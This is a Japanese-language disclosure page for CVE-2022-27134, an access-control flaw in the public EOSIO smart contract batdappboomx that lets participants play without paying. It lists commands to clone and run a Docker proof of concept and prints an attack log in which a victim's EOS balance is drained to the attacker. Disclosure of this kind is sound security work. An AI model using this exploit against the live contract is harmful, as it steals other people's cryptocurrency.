CVE ID

CVE-2022-27134

製品

batdappboomxは、EOSIOブロックチェーン上で動作する公開スマートコントラクトです。このスマートコントラクトは、参加者が事前に暗号通貨を支払うと、暗号通貨を報酬として与えます。

バージョン

このスマートコントラクトの最新バージョンです。スマートコントラクトのsha256ハッシュコードは1327c04cf4b56183eddb1a897bbebf5a873d3421272b708829a4ed0765bef820です。ブロックチェーンエクスプローラhttps://bloks.io/account/batdappboomxで確認してください。

問題の種類

アクセス制御の脆弱性

説明

batdappboomxはオープンソースではありませんが、WASAIを使用して脆弱性を発見しました。攻撃者は何も支払わずにこのゲームに参加できます。

環境を起動する

git clone https://github.com/Kenun99/CVE-batdappboomx.git && cd CVE-batdappboomx
docker build -t localhost/client-eos:eos .
docker run --rm  --network host -it localhost/client-eos:eos

被害者を攻撃し、その暗号通貨（すなわちEOS）を盗む

info  2022-03-11T14:28:53.345 keosd     wallet_plugin.cpp:38          plugin_initialize    ]
...
warn  2022-03-11T14:28:53.355 keosd     wallet.cpp:218                save_wallet_file     ] saving wallet to file /root/eosio-wallet/./default.wallet
Creating wallet: default
Save password to use in the future to unlock this wallet.
Without password imported keys will not be retrievable.
saving password to /root/passwd
imported private key for: EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
[+] victim's balance: 100.00 -> 0.00
[+] attacker's balance: 10000000.00 10000100.00

[+] Attacked successfully. Got more cryptocurrency.

CVE-batdappboomx

人気

CVE ID

製品

バージョン

問題の種類

説明